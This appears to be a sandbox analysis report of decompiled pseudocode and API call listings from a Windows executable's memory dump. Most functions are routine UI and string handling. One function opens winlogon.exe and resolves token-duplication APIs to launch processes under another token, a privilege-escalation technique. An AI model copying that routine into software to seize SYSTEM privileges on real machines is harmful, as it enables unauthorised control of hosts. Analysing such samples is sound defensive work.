0x00404e43
0x00404e46
0x00404e46
0x00404e1c
0x00404e4d
0x00404e50
0x00404e5f
0x00404e66
0x00404e52
0x00404e52
0x00404e52
0x00404e6d
0x00404e70
0x00404e85
0x00404e85
0x00000000
0x00404e72
0x00404e7b
0x00404e80
0x00404e83
0x00404e87
0x00404e89
0x00404e8b
0x00404e8b
0x00404ea8
0x00404ea8
0x00000000
0x00404e83

APIs

GetSystemMetrics.USER32 ref: 00404DC2
GetSystemMetrics.USER32 ref: 00404DC8
GetDC.USER32(00000000), ref: 00404DD5
GetDeviceCaps.GDI32(00000000,00000008), ref: 00404DE6
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00404DED
ReleaseDC.USER32 ref: 00404DF4
GetWindowRect.USER32 ref: 00404E07
GetParent.USER32(?), ref: 00404E12
GetWindowRect.USER32 ref: 00404E2F
MoveWindow.USER32(?,?,00000000,?,?,00000001), ref: 00404E9E

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
String ID:
API String ID: 2163313125-0
Opcode ID: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction ID: fcbc432c8b17a9ec8ea4481816a0c35ab2ad0e4d246cd47a42b035ba49fba047
Opcode Fuzzy Hash: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction Fuzzy Hash: D63197B1900219AFDB10DFB8CD84AEEBBB8EB44314F054179EE05B7291D674AD418B94

Uniqueness

Uniqueness Score: -1.00%

Function 00406398, Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00406398(void* __eflags, wchar_t* _a4) {
				void* __esi;
				void* _t3;
				int _t6;

				_t3 = E00404AAA(_a4);
				if(_t3 != 0) {
					wcscpy(0x40fb90, _a4);
					wcscpy(0x40fda0, L"general");
					_t6 = GetPrivateProfileIntW(0x40fda0, L"rtl", 0, 0x40fb90);
					asm("sbb eax, eax");
					 *0x40fe28 =  ~(_t6 - 1) + 1;
					E00405F14(0x40fe30, L"charset", 0x3f);
					E00405F14(0x40feb0, L"TranslatorName", 0x3f);
					return E00405F14(0x40ff30, L"TranslatorURL", 0xff);
				}
				return _t3;
			}

0x0040639c
0x004063a4
0x004063b2
0x004063c2
0x004063d3
0x004063dc
0x004063eb
0x004063f0
0x00406401
0x00000000
0x0040641e
0x0040641f

APIs

Part of subcall function 00404AAA: GetFileAttributesW.KERNEL32(?,004063A1,?,00406458,00000000,?,00000000,00000208,?), ref: 00404AAE

wcscpy.MSVCRT ref: 004063B2
wcscpy.MSVCRT ref: 004063C2
GetPrivateProfileIntW.KERNEL32 ref: 004063D3

Part of subcall function 00405F14: GetPrivateProfileStringW.KERNEL32(0040FDA0,?,0040C4E8,0040FE30,?,0040FB90), ref: 00405F30

Strings

rtl, xrefs: 004063CD
charset, xrefs: 004063E1
TranslatorName, xrefs: 004063F7
general, xrefs: 004063B7
TranslatorURL, xrefs: 0040640B

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfilewcscpy$AttributesFileString
String ID: TranslatorName$TranslatorURL$charset$general$rtl
API String ID: 3176057301-2039793938
Opcode ID: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction ID: e4db3026d56c82c297763cb3084dd600e002768b85b35a6fcc1e36585c673314
Opcode Fuzzy Hash: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction Fuzzy Hash: E2F09032EA422276EA203321DC4BF2B2555CBD1B18F15417BBA08BA5D3DB7C580645ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADF1, Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040ADF1(signed short* __eax, void* __ecx) {
				void* _t2;
				signed short* _t3;
				void* _t7;
				void* _t8;
				void* _t10;

				_t3 = __eax;
				_t8 = __ecx;
				_t7 = 8;
				while(1) {
					_t2 =  *_t3 & 0x0000ffff;
					if(_t2 != 0x3c) {
						goto L3;
					}
					_push(_t7);
					_push(L"&lt;");
					L14:
					_t2 = memcpy(_t8, ??, ??);
					_t10 = _t10 + 0xc;
					_t8 = _t8 + _t7;
					L16:
					if( *_t3 != 0) {
						_t3 =  &(_t3[1]);
						continue;
					}
					return _t2;
					L3:
					if(_t2 != 0x3e) {
						if(_t2 != 0x22) {
							if((_t2 & 0x0000ffff) != 0xffffffb0) {
								if(_t2 != 0x26) {
									if(_t2 != 0xa) {
										 *_t8 = _t2;
										_t8 = _t8 + 2;
									} else {
										_push(_t7);
										_push(L"<br>");
										goto L14;
									}
								} else {
									_push(0xa);
									_push(L"&amp;");
									goto L11;
								}
							} else {
								_push(0xa);
								_push(L"&deg;");
								L11:
								_t2 = memcpy(_t8, ??, ??);
								_t10 = _t10 + 0xc;
								_t8 = _t8 + 0xa;
							}
						} else {
							_t2 = memcpy(_t8, L"&quot;", 0xc);
							_t10 = _t10 + 0xc;
							_t8 = _t8 + 0xc;
						}
					} else {
						_push(_t7);
						_push(L"&gt;");
						goto L14;
					}
					goto L16;
				}
			}

0x0040adf6
0x0040adf8
0x0040adfa
0x0040adfb
0x0040adfb
0x0040ae02
0x00000000
0x00000000
0x0040ae04
0x0040ae05
0x0040ae6d
0x0040ae6e
0x0040ae73
0x0040ae76
0x0040ae7f
0x0040ae83
0x0040ae86
0x00000000
0x0040ae86
0x0040ae8f
0x0040ae0c
0x0040ae10
0x0040ae1e
0x0040ae3b
0x0040ae4a
0x0040ae65
0x0040ae7a
0x0040ae7e
0x0040ae67
0x0040ae67
0x0040ae68
0x00000000
0x0040ae68
0x0040ae4c
0x0040ae4c
0x0040ae4e
0x00000000
0x0040ae4e
0x0040ae3d
0x0040ae3d
0x0040ae3f
0x0040ae53
0x0040ae54
0x0040ae59
0x0040ae5c
0x0040ae5c
0x0040ae20
0x0040ae28
0x0040ae2d
0x0040ae30
0x0040ae30
0x0040ae12
0x0040ae12
0x0040ae13
0x00000000
0x0040ae13
0x00000000
0x0040ae10

APIs

memcpy.MSVCRT ref: 0040AE28
memcpy.MSVCRT ref: 0040AE54
memcpy.MSVCRT ref: 0040AE6E

Strings

<, xrefs: 0040AE05
", xrefs: 0040AE22
&, xrefs: 0040AE4E
°, xrefs: 0040AE3F
<br>, xrefs: 0040AE68
>, xrefs: 0040AE13

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction ID: 19d6e8f9099fa728be05f60bd268fa70c064aa74fae363856be53b9475c854a8
Opcode Fuzzy Hash: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction Fuzzy Hash: FE01D25AEC8320A5EA302055DC86F7B2514D7B2B51FA5013BB986392C1E2BD09A7A1DF

Uniqueness

Uniqueness Score: -1.00%

Function 004041EB, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004041EB(intOrPtr* __ecx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr* _v12;
				void _v534;
				short _v536;
				void* __ebx;
				void* __edi;
				intOrPtr _t42;
				intOrPtr* _t95;
				RECT* _t96;

				_t95 = __ecx;
				_v12 = __ecx;
				if(_a4 == 0x233) {
					_v536 = 0;
					memset( &_v534, 0, 0x208);
					DragQueryFileW(_a8, 0,  &_v536, 0x104);
					DragFinish(_a8);
					 *((intOrPtr*)( *_t95 + 4))(0);
					E00404923(0x104, _t95 + 0x1680,  &_v536);
					 *((intOrPtr*)( *_v12 + 4))(1);
					_t95 = _v12;
				}
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t42 = _a12;
							 *((intOrPtr*)(_t42 + 0x18)) = 0x1f4;
							 *((intOrPtr*)(_t42 + 0x1c)) = 0x12c;
						}
					} else {
						E00402EC8(_t95 + 0x40);
					}
				} else {
					_v8 = BeginDeferWindowPos(0xd);
					_t96 = _t95 + 0x40;
					E00402E22(_t96, _t44, 0x401, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 2, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x419, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40f, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40e, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40d, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x3fb, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x3fd, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x402, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3e9, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ea, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ee, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x3f3, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x404, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3f6, 1, 0, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t96 + 0x10), _t96, 1);
					_t95 = _v12;
				}
				return E00402CED(_t95, _a4, _a8, _a12);
			}

0x004041f9
0x00404205
0x00404208
0x00404217
0x0040421e
0x00404236
0x0040423f
0x0040424a
0x0040425f
0x0040426b
0x0040426e
0x0040426e
0x00404275
0x004043be
0x004043ce
0x004043d0
0x004043d3
0x004043da
0x004043da
0x004043c0
0x004043c3
0x004043c3
0x0040427b
0x0040428c
0x0040428f
0x00404295
0x004042a5
0x004042b8
0x004042cb
0x004042de
0x004042f1
0x00404304
0x00404317
0x0040432a
0x0040433d
0x00404350
0x00404363
0x00404376
0x00404389
0x0040439c
0x004043a4
0x004043af
0x004043b5
0x004043b5
0x004043f5

APIs

memset.MSVCRT ref: 0040421E
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00404236
DragFinish.SHELL32(?), ref: 0040423F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32 ref: 00402EB4

BeginDeferWindowPos.USER32(0000000D), ref: 0040427D
EndDeferWindowPos.USER32(?), ref: 004043A4
InvalidateRect.USER32(?,?,00000001), ref: 004043AF

Strings

$, xrefs: 004043CA

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$DragRect$BeginClientFileFinishInvalidateItemQuerymemcpymemsetwcslen
String ID: $
API String ID: 2142561256-3993045852
Opcode ID: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction ID: d1d17b09954fcbdb96c5267886444c332edca9ead5b56a9d6021aa5aec52b2c2
Opcode Fuzzy Hash: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction Fuzzy Hash: F1518EB064011CBFEB126B52CDC9DBF7E6DEF45398F104065BA05792D1C6B84E05EAB4

Uniqueness

Uniqueness Score: -1.00%

Function 00405B81, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00405B81(signed short __ebx) {
				signed int _t21;
				void* _t22;
				struct HINSTANCE__* _t25;
				signed int _t27;
				void* _t35;
				signed short _t39;
				signed int _t40;
				void* _t57;
				int _t61;
				void* _t62;
				int _t71;

				_t39 = __ebx;
				if( *0x41c470 == 0) {
					E00405ADF();
				}
				_t40 =  *0x41c468;
				_t21 = 0;
				if(_t40 <= 0) {
					L5:
					_t57 = 0;
				} else {
					while(_t39 !=  *((intOrPtr*)( *0x41c460 + _t21 * 4))) {
						_t21 = _t21 + 1;
						if(_t21 < _t40) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t57 =  *0x41c458 +  *( *0x41c464 + _t21 * 4) * 2;
				}
				L6:
				if(_t57 != 0) {
					L21:
					_t22 = _t57;
				} else {
					if((_t39 & 0x00010000) == 0) {
						if( *0x40fb90 == 0) {
							_push( *0x41c478 - 1);
							_push( *0x41c45c);
							_push(_t39);
							_t25 = E00405CE7();
							goto L15;
						} else {
							wcscpy(0x40fda0, L"strings");
							_t35 = E00405EDD(_t39,  *0x41c45c);
							_t62 = _t62 + 0x10;
							if(_t35 == 0) {
								L13:
								_t25 = GetModuleHandleW(0);
								_push( *0x41c478 - 1);
								_push( *0x41c45c);
								_push(_t39);
								goto L15;
							} else {
								_t61 = wcslen( *0x41c45c);
								if(_t61 == 0) {
									goto L13;
								}
							}
						}
					} else {
						_t25 = GetModuleHandleW(_t57);
						_push( *0x41c478 - 1);
						_push( *0x41c45c);
						_push(_t39 & 0x0000ffff);
						L15:
						_t61 = LoadStringW(_t25, ??, ??, ??);
						_t71 = _t61;
					}
					if(_t71 <= 0) {
						L20:
						_t22 = 0x40c4e8;
					} else {
						_t27 =  *0x41c46c;
						if(_t27 + _t61 + 2 >=  *0x41c470 ||  *0x41c468 >=  *0x41c474) {
							goto L20;
						} else {
							_t57 =  *0x41c458 + _t27 * 2;
							_t14 = _t61 + 2; // 0x2
							memcpy(_t57,  *0x41c45c, _t61 + _t14);
							 *( *0x41c464 +  *0x41c468 * 4) =  *0x41c46c;
							 *( *0x41c460 +  *0x41c468 * 4) = _t39;
							 *0x41c468 =  *0x41c468 + 1;
							 *0x41c46c =  *0x41c46c + _t61 + 1;
							if(_t57 != 0) {
								goto L21;
							} else {
								goto L20;
							}
						}
					}
				}
				return _t22;
			}

0x00405b81
0x00405b88
0x00405b8a
0x00405b8a
0x00405b8f
0x00405b96
0x00405b9b
0x00405bad
0x00405bad
0x00405b9d
0x00405b9d
0x00405ba8
0x00405bab
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405bab
0x00405be9
0x00405be9
0x00405baf
0x00405bb1
0x00405ce2
0x00405ce2
0x00405bb7
0x00405bbd
0x00405bf6
0x00405c4b
0x00405c4c
0x00405c52
0x00405c53
0x00000000
0x00405bf8
0x00405c02
0x00405c0e
0x00405c13
0x00405c18
0x00405c2c
0x00405c2e
0x00405c3b
0x00405c3c
0x00405c42
0x00000000
0x00405c1a
0x00405c25
0x00405c2a
0x00000000
0x00000000
0x00405c2a
0x00405c18
0x00405bbf
0x00405bc0
0x00405bcd
0x00405bce
0x00405bd7
0x00405c58
0x00405c5f
0x00405c61
0x00405c61
0x00405c63
0x00405cdb
0x00405cdb
0x00405c65
0x00405c65
0x00405c74
0x00000000
0x00405c84
0x00405c8a
0x00405c8d
0x00405c99
0x00405caf
0x00405cbd
0x00405cc8
0x00405cd4
0x00405cd9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405cd9
0x00405c74
0x00405c63
0x00405ce6

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
wcscpy.MSVCRT ref: 00405C02

Part of subcall function 00405EDD: memset.MSVCRT ref: 00405EF0
Part of subcall function 00405EDD: _itow.MSVCRT ref: 00405EFE

wcslen.MSVCRT ref: 00405C20
GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E
LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B19
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B37
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B55
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B73

Strings

strings, xrefs: 00405BF8

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: strings
API String ID: 3166385802-3030018805
Opcode ID: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction ID: 6100db9a332bdf9cdae47e625800c2dd81fdb4e1827941160d8c77da4bb91491
Opcode Fuzzy Hash: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction Fuzzy Hash: F0417A74188A149FEB149B54ECE5DB73376F785708720813AE802A72A1DB39AC46CF6C

Uniqueness

Uniqueness Score: -1.00%

Function 00401E44, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401E44(int _a4, int _a8, intOrPtr* _a12) {
				char _v8;
				void* _v12;
				void* __esi;
				void* _t18;
				intOrPtr* _t22;
				void* _t23;
				void* _t28;
				int _t37;
				intOrPtr* _t39;
				intOrPtr* _t40;

				_v8 = 0;
				_t18 = OpenProcess(0x2000000, 0, _a8);
				_v12 = _t18;
				if(_t18 == 0) {
					_t37 = GetLastError();
				} else {
					_t39 = _a4 + 0x800;
					_a8 = 0;
					E0040289F(_t39);
					_t22 =  *((intOrPtr*)(_t39 + 4));
					if(_t22 == 0) {
						_t23 = 0;
					} else {
						_t23 =  *_t22(_v12, 2,  &_a8);
					}
					if(_t23 == 0) {
						_t37 = GetLastError();
					} else {
						_a4 = _a8;
						E0040289F(_t39);
						_t40 =  *((intOrPtr*)(_t39 + 8));
						if(_t40 == 0) {
							_t28 = 0;
						} else {
							_t28 =  *_t40(_a4, 0x2000000, 0, 2, 1,  &_v8);
						}
						if(_t28 == 0) {
							_t37 = GetLastError();
						} else {
							 *_a12 = _v8;
							_t37 = 0;
						}
						CloseHandle(_a8);
					}
					CloseHandle(_v12);
				}
				return _t37;
			}

0x00401e59
0x00401e5c
0x00401e64
0x00401e67
0x00401ef9
0x00401e6d
0x00401e70
0x00401e76
0x00401e79
0x00401e7e
0x00401e83
0x00401e92
0x00401e85
0x00401e8e
0x00401e8e
0x00401e96
0x00401ee6
0x00401e98
0x00401e9b
0x00401e9e
0x00401ea3
0x00401ea8
0x00401ebb
0x00401eaa
0x00401eb7
0x00401eb7
0x00401ebf
0x00401ed3
0x00401ec1
0x00401ec7
0x00401ec9
0x00401ec9
0x00401ed8
0x00401ed8
0x00401eeb
0x00401eeb
0x00401f01

APIs

OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EF3

Part of subcall function 0040289F: LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401ECD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EE0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

Strings

winlogon.exe, xrefs: 00401E4B

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$CloseHandle$LibraryLoadOpenProcess
String ID: winlogon.exe
API String ID: 1315556178-961692650
Opcode ID: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction ID: 37dd24dd8946aa7f8aa4240fd04c0d288f38f50501b3184a6b0aa07a3247aa85
Opcode Fuzzy Hash: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction Fuzzy Hash: FB212932900114EFDB10AFA5CDC8AAE7BB5EB04350F14893AFE06F72A0D7749D41DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00405236, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00405236(short* __ebx, intOrPtr _a4) {
				int _v8;
				char _v12;
				void _v2058;
				void _v2060;
				int _t35;
				int _t41;
				signed int _t48;
				signed int _t49;
				signed short* _t50;
				void** _t52;
				void* _t53;
				void* _t54;

				_t48 = 0;
				_v2060 = 0;
				memset( &_v2058, 0, 0x7fe);
				_t54 = _t53 + 0xc;
				 *__ebx = 0;
				_t52 = _a4 + 4;
				_v12 = 2;
				do {
					_push( *_t52);
					_t6 = _t52 - 4; // 0xe80040cb
					_push( *_t6);
					_push(L"%s (%s)");
					_push(0x400);
					_push( &_v2060);
					L0040B1EC();
					_t35 = wcslen( &_v2060);
					_v8 = _t35;
					memcpy(__ebx + _t48 * 2,  &_v2060, _t35 + _t35 + 2);
					_t49 = _t48 + _v8 + 1;
					_t41 = wcslen( *_t52);
					_v8 = _t41;
					memcpy(__ebx + _t49 * 2,  *_t52, _t41 + _t41 + 2);
					_t54 = _t54 + 0x34;
					_t52 =  &(_t52[2]);
					_t23 =  &_v12;
					 *_t23 = _v12 - 1;
					_t48 = _t49 + _v8 + 1;
				} while ( *_t23 != 0);
				_t50 = __ebx + _t48 * 2;
				 *_t50 =  *_t50 & 0x00000000;
				_t50[1] = _t50[1] & 0x00000000;
				return __ebx;
			}

0x00405241
0x00405250
0x00405257
0x0040525f
0x00405262
0x00405265
0x00405268
0x0040526f
0x0040526f
0x00405277
0x00405277
0x0040527a
0x0040527f
0x00405284
0x00405285
0x00405291
0x00405296
0x004052a9
0x004052b3
0x004052b7
0x004052bc
0x004052ca
0x004052d2
0x004052d5
0x004052d8
0x004052d8
0x004052db
0x004052db
0x004052e1
0x004052e4
0x004052e8
0x004052f2

APIs

memset.MSVCRT ref: 00405257
_snwprintf.MSVCRT ref: 00405285
wcslen.MSVCRT ref: 00405291
memcpy.MSVCRT ref: 004052A9
wcslen.MSVCRT ref: 004052B7
memcpy.MSVCRT ref: 004052CA

Strings

%s (%s), xrefs: 0040527A

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)
API String ID: 3979103747-1363028141
Opcode ID: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction ID: 65e1e814fa0bf8ea8ab085bd6ee3311c73c19872bc06834ae6b579d31858dd7b
Opcode Fuzzy Hash: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction Fuzzy Hash: C411517280020DEBCF21DF94CC49D8BB7B8FF44308F1144BAE944A7152EB74A6588BD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040614F, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040614F(void* __ecx, void* __eflags, struct HWND__* _a4) {
				void _v514;
				short _v516;
				void _v8710;
				short _v8712;
				int _t17;
				WCHAR* _t26;

				E0040B550(0x2204, __ecx);
				_v8712 = 0;
				memset( &_v8710, 0, 0x2000);
				_t17 = GetDlgCtrlID(_a4);
				_t34 = _t17;
				GetWindowTextW(_a4,  &_v8712, 0x1000);
				if(_t17 > 0 && _v8712 != 0) {
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					GetClassNameW(_a4,  &_v516, 0xff);
					_t26 =  &_v516;
					_push(L"sysdatetimepick32");
					_push(_t26);
					L0040B278();
					if(_t26 != 0) {
						E00406025(_t34,  &_v8712);
					}
				}
				return 1;
			}

0x00406157
0x0040616d
0x00406174
0x0040617f
0x00406185
0x00406196
0x0040619e
0x004061b6
0x004061bd
0x004061d4
0x004061da
0x004061e0
0x004061e5
0x004061e6
0x004061ef
0x004061f9
0x004061ff
0x004061ef
0x00406206

APIs

memset.MSVCRT ref: 00406174
GetDlgCtrlID.USER32(?), ref: 0040617F
GetWindowTextW.USER32 ref: 00406196
memset.MSVCRT ref: 004061BD
GetClassNameW.USER32 ref: 004061D4
_wcsicmp.MSVCRT ref: 004061E6

Part of subcall function 00406025: memset.MSVCRT ref: 00406038
Part of subcall function 00406025: _itow.MSVCRT ref: 00406046

Strings

sysdatetimepick32, xrefs: 004061E0

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction ID: a6c41b950ec0abdba219e0cd23eeccead18917629e413d377b87badc6c60029b
Opcode Fuzzy Hash: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction Fuzzy Hash: 65117732840119BAEB20EB95DC89EDF777CEF04754F0040BAF518F1192E7345A81CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404706, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52
librarywindowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00404706(long __edi, wchar_t* _a4) {
				short _v8;
				void* _t8;
				void* _t10;
				long _t14;
				long _t24;

				_t24 = __edi;
				_t8 = 0;
				_t14 = 0x1100;
				if(__edi - 0x834 <= 0x383) {
					_t8 = LoadLibraryExW(L"netmsg.dll", 0, 2);
					if(0 != 0) {
						_t14 = 0x1900;
					}
				}
				if(FormatMessageW(_t14, _t8, _t24, 0x400,  &_v8, 0, 0) <= 0) {
					_t10 = wcscpy(_a4, 0x40c4e8);
				} else {
					if(wcslen(_v8) < 0x400) {
						wcscpy(_a4, _v8);
					}
					_t10 = LocalFree(_v8);
				}
				return _t10;
			}

0x00404706
0x00404714
0x0040471c
0x00404721
0x0040472b
0x00404733
0x00404735
0x00404735
0x00404733
0x00404751
0x00404780
0x00404753
0x0040475e
0x00404766
0x0040476c
0x00404770
0x00404770
0x0040478a

APIs

